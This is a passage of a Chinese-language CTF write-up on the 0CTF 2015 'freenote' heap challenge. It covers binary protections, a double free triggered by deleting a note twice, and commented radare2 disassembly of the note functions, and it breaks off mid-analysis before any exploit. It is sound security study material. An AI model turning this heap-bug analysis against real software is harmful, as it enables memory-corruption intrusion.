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CTF-All-In-One/doc/6.1.7_pwn_0ctf2015_freenote.md
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2018-08-05 17:43:10 +08:00

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# 6.1.7 pwn 0CTF2015 freenote
- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [漏洞利用](#漏洞利用)
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.7_pwn_0ctf2015_freenote)
## 题目复现
```text
$ file freenote
freenote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped
$ checksec -f freenote
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 2 freenote
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.6) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.2.
```
因为没有 PIE，即使本机开启 ASLR 也没有关系。
玩一下，它有 List、New、Edit、Delete 四个功能：
```text
$ ./freenote
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 2
Length of new note: 5
Enter your note: AAAA
Done.
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 1
0. AAAA
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 3
Note number: 0
Length of note: 10
Enter your note: BBBBBBBBB
Done.
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 1
0. BBBBBBBBB
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 4
Note number: 0
Done.
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 1
You need to create some new notes first.
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice: 5
Bye
```
然后漏洞似乎也很明显，如果我们两次 Delete 同一个笔记，则触发 double free：
```text
*** Error in `./freenote': double free or corruption (!prev): 0x0000000000672830 ***
Aborted
```
在 Ubuntu 14.04 上把程序跑起来：
```text
$ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.19.so ./freenote" &
```
## 题目解析
我们先来看一下 main 函数：
```text
[0x00400770]> pdf @ main
/ (fcn) main 60
| main ();
| ; var int local_4h @ rbp-0x4
| ; DATA XREF from 0x0040078d (entry0)
| 0x00401087 55 push rbp
| 0x00401088 4889e5 mov rbp, rsp
| 0x0040108b 4883ec10 sub rsp, 0x10
| 0x0040108f b800000000 mov eax, 0
| 0x00401094 e864f9ffff call sub.setvbuf_9fd ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
| 0x00401099 b800000000 mov eax, 0
| 0x0040109e e8a6f9ffff call sub.malloc_a49 ; void *malloc(size_t size)
| ; JMP XREF from 0x0040110f (main + 136)
| 0x004010a3 b800000000 mov eax, 0
| 0x004010a8 e8ebf8ffff call sub.0ops_Free_Note_998
| 0x004010ad 8945fc mov dword [local_4h], eax
| 0x004010b0 837dfc05 cmp dword [local_4h], 5 ; [0x5:4]=-1 ; 5
| ,=< 0x004010b4 774e ja 0x401104
| | 0x004010b6 8b45fc mov eax, dword [local_4h]
| | 0x004010b9 488b04c5f812. mov rax, qword [rax*8 + 0x4012f8] ; [0x4012f8:8]=0x401104
\ | 0x004010c1 ffe0 jmp rax
```
main 函数首先调用 `sub.malloc_a49()` 分配一块内存并进行初始化，然后读取用户输入，根据偏移跳转到相应的函数上去（典型的switch实现）：
```text
[0x00400770]> px 48 @ 0x4012f8
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x004012f8 0411 4000 0000 0000 c310 4000 0000 0000 ..@.......@.....
0x00401308 cf10 4000 0000 0000 db10 4000 0000 0000 ..@.......@.....
0x00401318 e710 4000 0000 0000 f310 4000 0000 0000 ..@.......@.....
```
```text
[0x00400770]> pd 22 @ 0x4010c3
: 0x004010c3 b800000000 mov eax, 0
: 0x004010c8 e847faffff call sub.You_need_to_create_some_new_notes_first._b14
,==< 0x004010cd eb40 jmp 0x40110f
|: 0x004010cf b800000000 mov eax, 0
|: 0x004010d4 e8e9faffff call sub.Length_of_new_note:_bc2
,===< 0x004010d9 eb34 jmp 0x40110f
||: 0x004010db b800000000 mov eax, 0
||: 0x004010e0 e8a2fcffff call sub.Note_number:_d87
,====< 0x004010e5 eb28 jmp 0x40110f
|||: 0x004010e7 b800000000 mov eax, 0
|||: 0x004010ec e88cfeffff call sub.No_notes_yet._f7d
,=====< 0x004010f1 eb1c jmp 0x40110f
||||: 0x004010f3 bfe6124000 mov edi, 0x4012e6
||||: 0x004010f8 e8c3f5ffff call sym.imp.puts ; int puts(const char *s)
||||: 0x004010fd b800000000 mov eax, 0
,======< 0x00401102 eb0d jmp 0x401111
|||||: ; JMP XREF from 0x004010b4 (main)
|||||: 0x00401104 bfea124000 mov edi, str.Invalid ; 0x4012ea ; "Invalid!"
|||||: 0x00401109 e8b2f5ffff call sym.imp.puts ; int puts(const char *s)
|||||: 0x0040110e 90 nop
|||||| ; JMP XREF from 0x004010cd (main + 70)
|||||| ; JMP XREF from 0x004010d9 (main + 82)
|||||| ; JMP XREF from 0x004010e5 (main + 94)
|||||| ; JMP XREF from 0x004010f1 (main + 106)
|`````=< 0x0040110f eb92 jmp 0x4010a3 ; main+0x1c
| ; JMP XREF from 0x00401102 (main + 123)
`------> 0x00401111 c9 leave
0x00401112 c3 ret
```
所以四个功能对应的函数如下：
- List：`sub.You_need_to_create_some_new_notes_first._b14`
- New：`sub.Length_of_new_note:_bc2`
- Edit：`call sub.Note_number:_d87`
- Delete：`call sub.No_notes_yet._f7d`
函数 `sub.malloc_a49` 如下：
```text
[0x00400770]> pdf @ sub.malloc_a49
/ (fcn) sub.malloc_a49 203
| sub.malloc_a49 ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x0040109e (main)
| 0x00400a49 55 push rbp
| 0x00400a4a 4889e5 mov rbp, rsp
| 0x00400a4d 4883ec10 sub rsp, 0x10
| 0x00400a51 bf10180000 mov edi, 0x1810
| 0x00400a56 e8d5fcffff call sym.imp.malloc ; void *malloc(size_t size)
| 0x00400a5b 488905461620. mov qword [0x006020a8], rax ; [0x6020a8:8]=0
| 0x00400a62 488b053f1620. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| 0x00400a69 48c700000100. mov qword [rax], 0x100 ; [0x100:8]=-1 ; 256 ; Notes 结构体成员 max
| 0x00400a70 488b05311620. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| 0x00400a77 48c740080000. mov qword [rax + 8], 0 ; Notes 结构体成员 length
| 0x00400a7f c745fc000000. mov dword [local_4h], 0 ; [local_4h] 是 Note 的序号
| ,=< 0x00400a86 eb7d jmp 0x400b05
| | ; JMP XREF from 0x00400b0c (sub.malloc_a49)
| .--> 0x00400a88 488b0d191620. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0 ; Notes 结构体的地址
| :| 0x00400a8f 8b45fc mov eax, dword [local_4h]
| :| 0x00400a92 4863d0 movsxd rdx, eax
| :| 0x00400a95 4889d0 mov rax, rdx
| :| 0x00400a98 4801c0 add rax, rax ; '#'
| :| 0x00400a9b 4801d0 add rax, rdx ; '('
| :| 0x00400a9e 48c1e003 shl rax, 3 ; 序号 *24
| :| 0x00400aa2 4801c8 add rax, rcx ; '&'
| :| 0x00400aa5 4883c010 add rax, 0x10 ; 序号对应的 Note 地址
| :| 0x00400aa9 48c700000000. mov qword [rax], 0 ; Note 结构体成员 isValid 初始化为 0
| :| 0x00400ab0 488b0df11520. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| :| 0x00400ab7 8b45fc mov eax, dword [local_4h]
| :| 0x00400aba 4863d0 movsxd rdx, eax
| :| 0x00400abd 4889d0 mov rax, rdx
| :| 0x00400ac0 4801c0 add rax, rax ; '#'
| :| 0x00400ac3 4801d0 add rax, rdx ; '('
| :| 0x00400ac6 48c1e003 shl rax, 3
| :| 0x00400aca 4801c8 add rax, rcx ; '&'
| :| 0x00400acd 4883c010 add rax, 0x10
| :| 0x00400ad1 48c740080000. mov qword [rax + 8], 0 ; Note 结构体成员 length 初始化为 0
| :| 0x00400ad9 488b0dc81520. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| :| 0x00400ae0 8b45fc mov eax, dword [local_4h]
| :| 0x00400ae3 4863d0 movsxd rdx, eax
| :| 0x00400ae6 4889d0 mov rax, rdx
| :| 0x00400ae9 4801c0 add rax, rax ; '#'
| :| 0x00400aec 4801d0 add rax, rdx ; '('
| :| 0x00400aef 48c1e003 shl rax, 3
| :| 0x00400af3 4801c8 add rax, rcx ; '&'
| :| 0x00400af6 4883c020 add rax, 0x20
| :| 0x00400afa 48c700000000. mov qword [rax], 0 ; Note 结构体成员 content 初始化为 0
| :| 0x00400b01 8345fc01 add dword [local_4h], 1 ; 序号 +1
| :| ; JMP XREF from 0x00400a86 (sub.malloc_a49)
| :`-> 0x00400b05 817dfcff0000. cmp dword [local_4h], 0xff ; [0xff:4]=-1 ; 255 ; 循环初始化 Note
| `==< 0x00400b0c 0f8e76ffffff jle 0x400a88
| 0x00400b12 c9 leave
\ 0x00400b13 c3 ret
```
该函数调用 malloc 在堆上分配 0x1810 字节的内存用来存放数据。我们可以猜测这里还存在两个结构体，Note 和 Notes：
```c
struct Note {
int isValid; // 1 表示笔记存在，0 表示笔记不存在
int length; // 笔记长度
char *content; // 指向笔记内容的指针
} Note;
struct Notes {
int max; // 笔记总数上限 0x100
int length; // 当前笔记数量
Note notes[256]; // 笔记
} Notes;
```
接下来依次分析程序四个功能的实现，先从 List 开始：
```text
[0x00400770]> pdf @ sub.You_need_to_create_some_new_notes_first._b14
/ (fcn) sub.You_need_to_create_some_new_notes_first._b14 174
| sub.You_need_to_create_some_new_notes_first._b14 ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x004010c8 (main + 65)
| 0x00400b14 55 push rbp
| 0x00400b15 4889e5 mov rbp, rsp
| 0x00400b18 4883ec10 sub rsp, 0x10
| 0x00400b1c 488b05851520. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| 0x00400b23 488b4008 mov rax, qword [rax + 8] ; [0x8:8]=-1 ; 8 ; 取出 Notes 结构体成员 length
| 0x00400b27 4885c0 test rax, rax ; 判断 length 是否为 0
| ,=< 0x00400b2a 0f8e86000000 jle 0x400bb6 ; 如果为 0，即没有笔记时跳转，该函数结束
| | 0x00400b30 c745fc000000. mov dword [local_4h], 0 ; [local_4h] 初始化为 0
| ,==< 0x00400b37 eb66 jmp 0x400b9f
| || ; JMP XREF from 0x00400bb2 (sub.You_need_to_create_some_new_notes_first._b14)
| .---> 0x00400b39 488b0d681520. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| :|| 0x00400b40 8b45fc mov eax, dword [local_4h]
| :|| 0x00400b43 4863d0 movsxd rdx, eax
| :|| 0x00400b46 4889d0 mov rax, rdx
| :|| 0x00400b49 4801c0 add rax, rax ; '#'
| :|| 0x00400b4c 4801d0 add rax, rdx ; '('
| :|| 0x00400b4f 48c1e003 shl rax, 3
| :|| 0x00400b53 4801c8 add rax, rcx ; '&'
| :|| 0x00400b56 4883c010 add rax, 0x10 ; rax 为 local_4h 序号处的 Note
| :|| 0x00400b5a 488b00 mov rax, qword [rax] ; 取出 Note 结构体成员 isValid
| :|| 0x00400b5d 4883f801 cmp rax, 1 ; 1
| ,====< 0x00400b61 7538 jne 0x400b9b ; 如果 isValid != 1，跳过打印
| |:|| 0x00400b63 488b0d3e1520. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| |:|| 0x00400b6a 8b45fc mov eax, dword [local_4h]
| |:|| 0x00400b6d 4863d0 movsxd rdx, eax
| |:|| 0x00400b70 4889d0 mov rax, rdx
| |:|| 0x00400b73 4801c0 add rax, rax ; '#'
| |:|| 0x00400b76 4801d0 add rax, rdx ; '('
| |:|| 0x00400b79 48c1e003 shl rax, 3
| |:|| 0x00400b7d 4801c8 add rax, rcx ; '&'
| |:|| 0x00400b80 4883c020 add rax, 0x20
| |:|| 0x00400b84 488b10 mov rdx, qword [rax]
| |:|| 0x00400b87 8b45fc mov eax, dword [local_4h]
| |:|| 0x00400b8a 89c6 mov esi, eax
| |:|| 0x00400b8c bf1d124000 mov edi, str.d.__s ; 0x40121d ; "%d. %s\n"
| |:|| 0x00400b91 b800000000 mov eax, 0
| |:|| 0x00400b96 e845fbffff call sym.imp.printf ; int printf(const char *format) ; 打印出序号和内容
| |:|| ; JMP XREF from 0x00400b61 (sub.You_need_to_create_some_new_notes_first._b14)
| `----> 0x00400b9b 8345fc01 add dword [local_4h], 1
| :|| ; JMP XREF from 0x00400b37 (sub.You_need_to_create_some_new_notes_first._b14)
| :`--> 0x00400b9f 8b45fc mov eax, dword [local_4h] ; eax = [local_4h]
| : | 0x00400ba2 4863d0 movsxd rdx, eax ; rdx = eax == [local_4h]
| : | 0x00400ba5 488b05fc1420. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0 ; 取出 Notes 地址
| : | 0x00400bac 488b00 mov rax, qword [rax] ; 取出结构体成员 max == 0x100
| : | 0x00400baf 4839c2 cmp rdx, rax ; 比较当前笔记序号 rdx 与 max
| `===< 0x00400bb2 7c85 jl 0x400b39 ; 遍历所有笔记
| ,==< 0x00400bb4 eb0a jmp 0x400bc0
| || ; JMP XREF from 0x00400b2a (sub.You_need_to_create_some_new_notes_first._b14)
| |`-> 0x00400bb6 bf28124000 mov edi, str.You_need_to_create_some_new_notes_first. ; 0x401228 ; "You need to create some new notes first."
| | 0x00400bbb e800fbffff call sym.imp.puts ; int puts(const char *s)
| | ; JMP XREF from 0x00400bb4 (sub.You_need_to_create_some_new_notes_first._b14)
| `--> 0x00400bc0 c9 leave
\ 0x00400bc1 c3 ret
```
该函数会打印出所有 isValid 成员为 1 的笔记。
New 的实现如下：
```text
[0x00400770]> pdf @ sub.Length_of_new_note:_bc2
/ (fcn) sub.Length_of_new_note:_bc2 453
| sub.Length_of_new_note:_bc2 (int arg_1000h);
| ; var int local_14h @ rbp-0x14
| ; var int local_10h @ rbp-0x10
| ; var int local_ch @ rbp-0xc
| ; var int local_8h @ rbp-0x8
| ; var int local_0h @ rbp-0x0
| ; arg int arg_1000h @ rbp+0x1000
| ; CALL XREF from 0x004010d4 (main + 77)
| 0x00400bc2 55 push rbp
| 0x00400bc3 4889e5 mov rbp, rsp
| 0x00400bc6 4883ec20 sub rsp, 0x20
| 0x00400bca 488b05d71420. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| 0x00400bd1 488b5008 mov rdx, qword [rax + 8] ; [0x8:8]=-1 ; 8 ; 取出 Notes 成员 length
| 0x00400bd5 488b05cc1420. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| 0x00400bdc 488b00 mov rax, qword [rax] ; 取出 Notes 成员 max
| 0x00400bdf 4839c2 cmp rdx, rax
| ,=< 0x00400be2 7c0f jl 0x400bf3 ; 当 length < max 时继续，否则表示笔记本已满
| | 0x00400be4 bf51124000 mov edi, str.Unable_to_create_new_note. ; 0x401251 ; "Unable to create new note."
| | 0x00400be9 e8d2faffff call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00400bee e992010000 jmp 0x400d85
| || ; JMP XREF from 0x00400be2 (sub.Length_of_new_note:_bc2)
| |`-> 0x00400bf3 c745ec000000. mov dword [local_14h], 0 ; [local_14h] 初始化为 0
| |,=< 0x00400bfa e96d010000 jmp 0x400d6c
| || ; JMP XREF from 0x00400d7f (sub.Length_of_new_note:_bc2)
| .---> 0x00400bff 488b0da21420. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| :|| 0x00400c06 8b45ec mov eax, dword [local_14h]
| :|| 0x00400c09 4863d0 movsxd rdx, eax
| :|| 0x00400c0c 4889d0 mov rax, rdx
| :|| 0x00400c0f 4801c0 add rax, rax ; '#'
| :|| 0x00400c12 4801d0 add rax, rdx ; '('
| :|| 0x00400c15 48c1e003 shl rax, 3
| :|| 0x00400c19 4801c8 add rax, rcx ; '&'
| :|| 0x00400c1c 4883c010 add rax, 0x10
| :|| 0x00400c20 488b00 mov rax, qword [rax]
| :|| 0x00400c23 4885c0 test rax, rax ; rax 表示成员 isValid
| ,====< 0x00400c26 0f853c010000 jne 0x400d68 ; 当 isValid 为 1 时，表示当前序号处笔记已经存在，跳过
| |:|| 0x00400c2c bf6c124000 mov edi, str.Length_of_new_note: ; 0x40126c ; "Length of new note: "
| |:|| 0x00400c31 b800000000 mov eax, 0
| |:|| 0x00400c36 e8a5faffff call sym.imp.printf ; int printf(const char *format)
| |:|| 0x00400c3b b800000000 mov eax, 0
| |:|| 0x00400c40 e809fdffff call sub.atoi_94e ; int atoi(const char *str)
| |:|| 0x00400c45 8945f0 mov dword [local_10h], eax ; [local_10h] 是笔记长度
| |:|| 0x00400c48 837df000 cmp dword [local_10h], 0
| ,=====< 0x00400c4c 7f0f jg 0x400c5d ; 大于 0 时
| ||:|| 0x00400c4e bf81124000 mov edi, str.Invalid_length ; 0x401281 ; "Invalid length!"
| ||:|| 0x00400c53 e868faffff call sym.imp.puts ; int puts(const char *s)
| ,======< 0x00400c58 e928010000 jmp 0x400d85
| |||:|| ; JMP XREF from 0x00400c4c (sub.Length_of_new_note:_bc2)
| |`-----> 0x00400c5d 817df0001000. cmp dword [local_10h], 0x1000 ; [0x1000:4]=-1
| |,=====< 0x00400c64 7e07 jle 0x400c6d ; 小于等于 0x1000 时
| |||:|| 0x00400c66 c745f0001000. mov dword [local_10h], 0x1000 ; 否则 [local_10h] = 0x1000
| |||:|| ; JMP XREF from 0x00400c64 (sub.Length_of_new_note:_bc2)
| |`-----> 0x00400c6d 8b45f0 mov eax, dword [local_10h]
| | |:|| 0x00400c70 99 cdq
| | |:|| 0x00400c71 c1ea19 shr edx, 0x19
| | |:|| 0x00400c74 01d0 add eax, edx
| | |:|| 0x00400c76 83e07f and eax, 0x7f
| | |:|| 0x00400c79 29d0 sub eax, edx
| | |:|| 0x00400c7b ba80000000 mov edx, 0x80 ; 128
| | |:|| 0x00400c80 29c2 sub edx, eax
| | |:|| 0x00400c82 89d0 mov eax, edx
| | |:|| 0x00400c84 c1f81f sar eax, 0x1f
| | |:|| 0x00400c87 c1e819 shr eax, 0x19
| | |:|| 0x00400c8a 01c2 add edx, eax
| | |:|| 0x00400c8c 83e27f and edx, 0x7f
| | |:|| 0x00400c8f 29c2 sub edx, eax
| | |:|| 0x00400c91 89d0 mov eax, edx
| | |:|| 0x00400c93 89c2 mov edx, eax
| | |:|| 0x00400c95 8b45f0 mov eax, dword [local_10h]
| | |:|| 0x00400c98 01d0 add eax, edx
| | |:|| 0x00400c9a 8945f4 mov dword [local_ch], eax
| | |:|| 0x00400c9d 8b45f4 mov eax, dword [local_ch]
| | |:|| 0x00400ca0 4898 cdqe
| | |:|| 0x00400ca2 4889c7 mov rdi, rax ; rdi 最终为 ((128 - [local_10h] % 128) % 128 + [local_10h])
| | |:|| 0x00400ca5 e886faffff call sym.imp.malloc ; void *malloc(size_t size)
| | |:|| 0x00400caa 488945f8 mov qword [local_8h], rax ; [local_8h] 为 Note 内容的地址
| | |:|| 0x00400cae bf91124000 mov edi, str.Enter_your_note: ; 0x401291 ; "Enter your note: "
| | |:|| 0x00400cb3 b800000000 mov eax, 0
| | |:|| 0x00400cb8 e823faffff call sym.imp.printf ; int printf(const char *format)
| | |:|| 0x00400cbd 8b55f0 mov edx, dword [local_10h]
| | |:|| 0x00400cc0 488b45f8 mov rax, qword [local_8h]
| | |:|| 0x00400cc4 89d6 mov esi, edx
| | |:|| 0x00400cc6 4889c7 mov rdi, rax
| | |:|| 0x00400cc9 e88ffbffff call sub.read_85d ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 读入笔记内容
| | |:|| 0x00400cce 488b0dd31320. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| | |:|| 0x00400cd5 8b45ec mov eax, dword [local_14h]
| | |:|| 0x00400cd8 4863d0 movsxd rdx, eax
| | |:|| 0x00400cdb 4889d0 mov rax, rdx
| | |:|| 0x00400cde 4801c0 add rax, rax ; '#'
| | |:|| 0x00400ce1 4801d0 add rax, rdx ; '('
| | |:|| 0x00400ce4 48c1e003 shl rax, 3
| | |:|| 0x00400ce8 4801c8 add rax, rcx ; '&'
| | |:|| 0x00400ceb 4883c010 add rax, 0x10
| | |:|| 0x00400cef 48c700010000. mov qword [rax], 1 ; 设置 Note 结构体成员 isValid 为 1
| | |:|| 0x00400cf6 488b35ab1320. mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
| | |:|| 0x00400cfd 8b45f0 mov eax, dword [local_10h]
| | |:|| 0x00400d00 4863c8 movsxd rcx, eax
| | |:|| 0x00400d03 8b45ec mov eax, dword [local_14h]
| | |:|| 0x00400d06 4863d0 movsxd rdx, eax
| | |:|| 0x00400d09 4889d0 mov rax, rdx
| | |:|| 0x00400d0c 4801c0 add rax, rax ; '#'
| | |:|| 0x00400d0f 4801d0 add rax, rdx ; '('
| | |:|| 0x00400d12 48c1e003 shl rax, 3
| | |:|| 0x00400d16 4801f0 add rax, rsi ; '+'
| | |:|| 0x00400d19 4883c010 add rax, 0x10
| | |:|| 0x00400d1d 48894808 mov qword [rax + 8], rcx ; 设置 Note 结构体成员 length 为 [local_10h]
| | |:|| 0x00400d21 488b0d801320. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| | |:|| 0x00400d28 8b45ec mov eax, dword [local_14h]
| | |:|| 0x00400d2b 4863d0 movsxd rdx, eax
| | |:|| 0x00400d2e 4889d0 mov rax, rdx
| | |:|| 0x00400d31 4801c0 add rax, rax ; '#'
| | |:|| 0x00400d34 4801d0 add rax, rdx ; '('
| | |:|| 0x00400d37 48c1e003 shl rax, 3
| | |:|| 0x00400d3b 4801c8 add rax, rcx ; '&'
| | |:|| 0x00400d3e 488d5020 lea rdx, [rax + 0x20] ; 32
| | |:|| 0x00400d42 488b45f8 mov rax, qword [local_8h]
| | |:|| 0x00400d46 488902 mov qword [rdx], rax ; 设置 Note 结构体成员 content 为 [local_8h]
| | |:|| 0x00400d49 488b05581320. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| | |:|| 0x00400d50 488b5008 mov rdx, qword [rax + 8] ; [0x8:8]=-1 ; 8 ; 取出 Notes 成员 length
| | |:|| 0x00400d54 4883c201 add rdx, 1 ; length +1
| | |:|| 0x00400d58 48895008 mov qword [rax + 8], rdx ; 写回 length
| | |:|| 0x00400d5c bfa3124000 mov edi, str.Done. ; 0x4012a3 ; "Done."
| | |:|| 0x00400d61 e85af9ffff call sym.imp.puts ; int puts(const char *s)
| |,=====< 0x00400d66 eb1d jmp 0x400d85
| |||:|| ; JMP XREF from 0x00400c26 (sub.Length_of_new_note:_bc2)
| ||`----> 0x00400d68 8345ec01 add dword [local_14h], 1
| || :|| ; JMP XREF from 0x00400bfa (sub.Length_of_new_note:_bc2)
| || :|`-> 0x00400d6c 8b45ec mov eax, dword [local_14h] ; eax = [local_14h]
| || :| 0x00400d6f 4863d0 movsxd rdx, eax ; rdx 表示序号
| || :| 0x00400d72 488b052f1320. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| || :| 0x00400d79 488b00 mov rax, qword [rax] ; 取出 Notes 成员 max
| || :| 0x00400d7c 4839c2 cmp rdx, rax ; 比较序号与 max
| || `===< 0x00400d7f 0f8c7afeffff jl 0x400bff ; 遍历
| || | ; JMP XREF from 0x00400bee (sub.Length_of_new_note:_bc2)
| || | ; JMP XREF from 0x00400c58 (sub.Length_of_new_note:_bc2)
| || | ; JMP XREF from 0x00400d66 (sub.Length_of_new_note:_bc2)
| ``--`--> 0x00400d85 c9 leave
\ 0x00400d86 c3 ret
```
该函数首先对你输入的大小进行判断，如果小于 128 字节，则默认分配 128 字节的空间，如果大于 128 字节且小于 4096 字节时，则分配比输入稍大的 128 字节的整数倍的空间，如果大于 4096 字节，则默认分配 4096 字节。
Edit 的实现如下：
```text
[0x00400770]> pdf @ sub.Note_number:_d87
/ (fcn) sub.Note_number:_d87 502
| sub.Note_number:_d87 (int arg_1000h);
| ; var int local_1ch @ rbp-0x1c
| ; var int local_18h @ rbp-0x18
| ; var int local_14h @ rbp-0x14
| ; var int local_0h @ rbp-0x0
| ; arg int arg_1000h @ rbp+0x1000
| ; CALL XREF from 0x004010e0 (main + 89)
| 0x00400d87 55 push rbp
| 0x00400d88 4889e5 mov rbp, rsp
| 0x00400d8b 53 push rbx
| 0x00400d8c 4883ec18 sub rsp, 0x18
| 0x00400d90 bfa9124000 mov edi, str.Note_number: ; 0x4012a9 ; "Note number: "
| 0x00400d95 b800000000 mov eax, 0
| 0x00400d9a e841f9ffff call sym.imp.printf ; int printf(const char *format)
| 0x00400d9f b800000000 mov eax, 0
| 0x00400da4 e8a5fbffff call sub.atoi_94e ; int atoi(const char *str)
| 0x00400da9 8945e8 mov dword [local_18h], eax ; [local_18h] 为要修改的笔记序号
| 0x00400dac 837de800 cmp dword [local_18h], 0 ; 进行检查，确保序号是有效的
| ,=< 0x00400db0 783f js 0x400df1
| | 0x00400db2 8b45e8 mov eax, dword [local_18h]
| | 0x00400db5 4863d0 movsxd rdx, eax
| | 0x00400db8 488b05e91220. mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
| | 0x00400dbf 488b00 mov rax, qword [rax]
| | 0x00400dc2 4839c2 cmp rdx, rax
| ,==< 0x00400dc5 7d2a jge 0x400df1
| || 0x00400dc7 488b0dda1220. mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
| || 0x00400dce 8b45e8 mov eax, dword [local_18h]
| || 0x00400dd1 4863d0 movsxd rdx, eax
| || 0x00400dd4 4889d0 mov rax, rdx
| || 0x00400dd7 4801c0 add rax, rax ; '#'
| || 0x00400dda 4801d0 add rax, rdx ; '('
| || 0x00400ddd 48c1e003 shl rax, 3
| || 0x00400de1 4801c8 add rax, rcx ; '&'
| || 0x00400de4 4883c010 add rax, 0x10
| || 0x00400de8 488b00 mov rax, qword [rax]
| || 0x00400deb 4883f801 cmp rax, 1 ; 1
| ,===< 0x00400def 740f je 0x400e00 ; 修改笔记的 isValid 必须为 1
| ||| ; JMP XREF from 0x00400db0 (sub.Note_number:_d87)
| ||| ; JMP XREF from 0x00400dc5 (sub.Note_number:_d87)
| |``-> 0x00400df1 bfb7124000 mov edi, str.Invalid_number ; 0x4012b7 ; "Invalid number!"
| | 0x00400df6 e8c5f8ffff call sym.imp.puts ; int puts(const char *s)
| | ,=< 0x00400dfb e976010000 jmp 0x400f76
| | | ; JMP XREF from 0x00400def (sub.Note_number:_d87)
| `---> 0x00400e00 bfc7124000 mov edi, str.Length_of_note: ; 0x4012c7 ; "Length of note: "
| | 0x00400e05 b800000000 mov eax, 0
| | 0x00400e0a e8d1f8ffff call sym.imp.printf ; int printf(const char *format)
| | 0x00400e0f b800000000 mov eax, 0
| | 0x00400e14 e835fbffff call sub.atoi_94e ; int atoi(const char *str)
| | 0x00400e19 8945e4 mov dword [local_1ch], eax ; [local_1ch] 为新大小
| | 0x00400e1c 837de400 cmp dword [local_1ch], 0 ; 进行检查，确保新的大小是有效的
| ,==< 0x00400e20 7f0f jg 0x400e31
| || 0x00400e22 bf81124000 mov edi, str.Invalid_length ; 0x401281 ; "Invalid length!"
| || 0x00400e27 e894f8ffff call sym.imp.puts ; int puts(const char *s)
| ,===< 0x00400e2c e945010000 jmp 0x400f76
| ||| ; JMP XREF from 0x00400e20 (sub.Note_number:_d87)
| |`--> 0x00400e31 817de4001000. cmp dword [local_1ch], 0x1000 ; [0x1000:4]=-1
| |,==< 0x00400e38 7e07 jle 0x400e41
| ||| 0x00400e3a c745e4001000. mov dword [local_1ch], 0x1000
| ||| ; JMP XREF from 0x00400e38 (sub.Note_number:_d87)
| |`--> 0x00400e41 8b45e4 mov eax, dword [local_1ch]
| | | 0x00400e44 4863c8 movsxd rcx, eax
| | | 0x00400e47 488b355a1220. mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
| | | 0x00400e4e 8b45e8 mov eax, dword [local_18h]
| | | 0x00400e51 4863d0 movsxd rdx, eax
| | | 0x00400e54 4889d0 mov rax, rdx
| | | 0x00400e57 4801c0 add rax, rax ; '#'
| | | 0x00400e5a 4801d0 add rax, rdx ; '('
| | | 0x00400e5d 48c1e003 shl rax, 3
| | | 0x00400e61 4801f0 add rax, rsi ; '+'
| | | 0x00400e64 4883c010 add rax, 0x10
| | | 0x00400e68 488b4008 mov rax, qword [rax + 8] ; [0x8:8]=-1 ; 8
| | | 0x00400e6c 4839c1 cmp rcx, rax ; 比较新大小与原大小是否相同
| |,==< 0x00400e6f 0f84b7000000 je 0x400f2c ; 如果相同，跳过重新分配空间的过程，直接修改笔记
| ||| 0x00400e75 8b45e4 mov eax, dword [local_1ch]
| ||| 0x00400e78 99 cdq
| ||| 0x00400e79 c1ea19 shr edx, 0x19
| ||| 0x00400e7c 01d0 add eax, edx
| ||| 0x00400e7e 83e07f and eax, 0x7f
| ||| 0x00400e81 29d0 sub eax, edx
| ||| 0x00400e83 ba80000000 mov edx, 0x80 ; 128
| ||| 0x00400e88 29c2 sub edx, eax
| ||| 0x00400e8a 89d0 mov eax, edx
| ||| 0x00400e8c c1f81f sar eax, 0x1f
| ||| 0x00400e8f c1e819 shr eax, 0x19
